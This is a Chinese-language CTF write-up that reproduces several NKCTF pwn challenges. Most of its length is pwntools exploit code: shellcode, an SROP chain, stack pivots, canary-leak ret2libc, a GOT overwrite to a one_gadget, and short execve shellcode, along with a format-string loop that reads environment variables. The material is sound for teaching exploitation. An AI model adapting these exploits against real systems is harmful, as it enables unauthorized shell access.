NKCTF-PWN题复现 前言 上周刚加入了星盟安全团队,发现自己真的有很多需要学习的,深感自己的渺小,这次NK也是一直跟着师傅们后面学习和搞misc,pwn一会就做完了,师傅们牛逼!
ez_shellcode 这个题没什么意思,NOP滑行就行
1 2 3 4 5 6 def exploit (): li('exploit...' ) code = shellcraft.sh() code = asm(code) code = '\x90' *100 +code sla("u can make it in 5 min!" ,code)
ez_stack 以前看过一点关于SROP原理的但是没有做过这种类型的题,这也算是我的第一个SROP的题了,就是做题的经验少了,后面有个小问题没有解决,问了师傅才知道的。
想办法输入/bin/sh字符串然后调用syscall sigframe就行
这里通过syscall 调用read函数来控制rax的值,然后调用sig
还有就是这里直接把payload输入过去会把输入当成一段,于是我们需要等待一秒才输入进去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 def exploit (): li('exploit...' ) bss_addr = 0x4040A9 pop_rdi_ret = 0x0000000000401283 pop_rsi_r15_ret = 0x0000000000401281 syscall_eax0_pop_rbp_ret = 0x4011EE setbuf_got = 0x404018 read_addr = 0x4011C8 syscall_ret = 0x40114E sigframe = SigreturnFrame() sigframe.rax = constants.SYS_execve sigframe.rdi = 0x0404040 sigframe.rsi = 0x0 sigframe.rdx = 0x0 sigframe.rip = syscall_ret pl = 'a' *0x10 +'a' *0x8 pl += p64(read_addr)+p64(0x10000 ) pl += p64(syscall_ret)+p64(syscall_ret)+str (sigframe)+p64(0x0401284 ) sla("Welcome to the binary world of NKCTF!\n" ,pl) p2 = "/bin/sh" +'\x00' *7 sleep(1 ) sl(p2) sleep(1 ) sl("aaa" ) sleep(1 ) sl("a" *0xe )
a_story_of_a_pwner 简单的栈溢出,而且给了环境和libc_addr ,于是直接在bss段写上ROP链然后栈迁移过去就行了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 def exploit (): li('exploit...' ) ch(4 ) ru("I give it up, you can see this. 0x" ) puts_addr = int (ru("\n" ),16 ) libc_addr = puts_addr-libc.symbols["puts" ] li("libc_addr ------------> 0x%x" % libc_addr) one_gadget = [0xe3afe ,0xe3b01 ,0xf25e2 ,0xe3b04 ] bss_addr = 0x4050A0 -0x8 leave_ret = 0x040139E pop_rdi_ret = 0x0000000000401573 ch(1 ) pl = p64(libc_addr+next (libc.search(b'/bin/sh\x00' ))) sl(pl) ch(2 ) pl = p64(pop_rdi_ret) sl(pl) ch(3 ) pl = p64(libc.symbols["system" ]+libc_addr) sl(pl) ch(4 ) pl = 'a' *0xA + p64(bss_addr)+p64(leave_ret) sla("now, come and read my heart...\n" ,pl) def ch (a ): ru("> \n" ) sl(str (a))
baby_rop 很有意思的一个题,但是我做题经验太少了,一位的只知道想办法通过一个输出就能getshell,于是用的办法过于复杂和无用,但也让我学到了很多东西,很多利用方法的学习
存在一个格式化字符串漏洞可以泄露canary(还可以泄露栈地址)
后面的my_read函数存在poison null byte(虽然是堆上的,但这里用到了栈上),便会修改ebp的最后两位为\x00
于是在经过两次leave_ret后便会将栈迁移到我们修改后的栈上。(可以用泄露的栈地址来准确控制我们跳转到的地方然后写(我的办法),也可以用ret来滑行过去(更好,不用花时间去调试)然后写ROP泄露libc地址然后getshell即可
由于我的exp写得过去繁琐和冗余,这里放上其他师傅的exp,原理都是一样的,这里需要注意的一点就是这里是直接返回到start函数,返回到vuln函数也可以的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 pop_rdi_ret = 0x401413 pop_rsi_r15 = 0x401411 ret = 0x40101a pop_rbp_ret = 0x4011bd puts_got = elf.got['puts' ] puts_plt = elf.plt['puts' ] puts_addr = elf.sym['puts' ] r.sendlineafter('name: ' , '%41$p' ) r.recvuntil(b'Hello, ' ) canary = int (r.recv(18 ), 16 ) li('canary = ' + hex (canary)) p1 = p64(ret) * 25 + p64(pop_rdi_ret) + p64(puts_got) +p64(puts_plt) + p64(pop_rbp_ret) + p64(0 ) + p64(0x4010f0 ) +p64(canary) dbg() r.sendlineafter('NKCTF: \n' , p1) pause() libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) libc_base = u64(r.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' ))- libc.sym['puts' ] li('libc_base = ' + hex (libc_base)) system_addr = libc.sym['system' ] + libc_base binsh = next (libc.search(b'/bin/sh' )) + libc_base p2 = p64(ret) * 28 + p64(pop_rdi_ret) + p64(binsh) +p64(system_addr) + p64(canary) pause() r.sendlineafter('NKCTF: \n' , p2) r.interactive()
本来这个题已经复现完了,但是我在看9961的wp的时候发现有其他队伍的wp,于是去看了看,发现居然有人通过格式化字符串扫环境变量来得到flag,也是有点东西了。。。于是我在这里记录一下这个办法,万一后面我也能用到呢,这也提醒我不要把flag写到环境变量里面,做到flag和运行的文件隔离
1 2 3 4 5 6 7 8 9 for i in range (1 ,100 ): p = remote("ip" ,port) p.recvuntil(b"What is your name: " ) p.sendline(b"%" + str (i).encode() + b"$s." ) try : print (i,p.recvuntil(b'.' ,drop=True )) p.sendafter('he NKCTF:' ,b"aaaa" ) except EOFError: pass
only_read 这个题也挺有意思的,和题目一样only_read,就是说只有read函数,而没有输出函数,我们无法做到输出libc的地址,于是得靠其他办法来修改got表,一般是add,或者sub指令,比如在这个题里面就存在一个add rbp-0x3d ebx的gadget
1 0x000000000040117c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
于是我们可以通过这个gadget来修改read_got为one_gadget就行了,加上题目也给了环境,exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 def exploit (): li('exploit...' ) str1 = "V2VsY29tZSB0byBOS0NURiE=" str2 = "dGVsbCB5b3UgYSBzZWNyZXQ6" str3 = "SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45" str4 = "Y2FuIHlvdSBmaW5kIG1lPw==" s(str1) sleep(0.1 ) s(str2) sleep(0.1 ) s(str3) sleep(0.1 ) sl(str4) sleep(0.1 ) pop_rdi_ret = 0x0000000000401683 read_plt = elf.plt['read' ] read_got = elf.got['read' ] pop_rbx_r5 = 0x40167A one_gadget = [0xe6c7e ,0xe6c81 ,0xe6c84 ] offsset =0xFFFFFFFFFFFFFFFF +(one_gadget[0 ]+1 -0x111130 ) li("offset -------> 0x%x" % offsset) change_read = 0x0040117C pl = b"a" *0x30 +b'a' *0x8 +p64(pop_rbx_r5)+p64(offsset)+p64(read_got+0x3D )+p64(0 )*4 +p64(change_read)+p64(read_plt) s(pl)
9961 是一道考验我们shellcode编写能力的题,只给了我们22个字节的写入空间,于是我们得想办法简化流程,这里可以想办法用_mprotect来将这段空间权限设置回来,但是非常考验我们对于汇编的理解,星盟的有位师傅就是这么做的,太强了只能说,还有就是另一位师傅的用lea来简化流程,因为我们已经知晓了r15是地址,于是可以直接利用偏移来写入shellcode
下面是利用cdq这个指令来简化,r15是可以拆分的,r15d,r15w,r15b
CDQ指令的操作步骤如下:
如果EAX的符号位为0,则将EDX清零。
如果EAX的符号位为1,则将EDX设置为全1。
将EAX的高32位复制到EDX的低32位。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 def exploit (): li('exploit...' ) pl = asm( ''' mov rdi,r15 xor eax,eax cdq mov al ,10 mov dl ,7 syscall xor eax,eax mov esi,edi mov edi, eax mov dl,0xff syscall ''' ) sa("In that case, you can only enter a very short shellcode!\n\n" ,pl) sleep(0.1 ) pl = asm(''' mov rsp, rsi add rsp, 0x1000 xor rsi, rsi mul rsi push rax mov rbx, 0x68732f2f6e69622f push rbx mov rdi, rsp mov al, 59 syscall ''' ) sa("I hope you can NMNB it!\n" ,b'\x90' *0x16 +pl)
这个是利用lea
1 2 3 4 5 6 7 8 9 10 11 12 def exploit (): li('exploit...' ) db() pause() pl = asm( ''' xor edx,edx xor esi,esi lea edi,[r15+0xe] mov ax,59 syscall ''' ) sa("In that case, you can only enter a very short shellcode!\n\n" ,pl+b'/bin/sh' )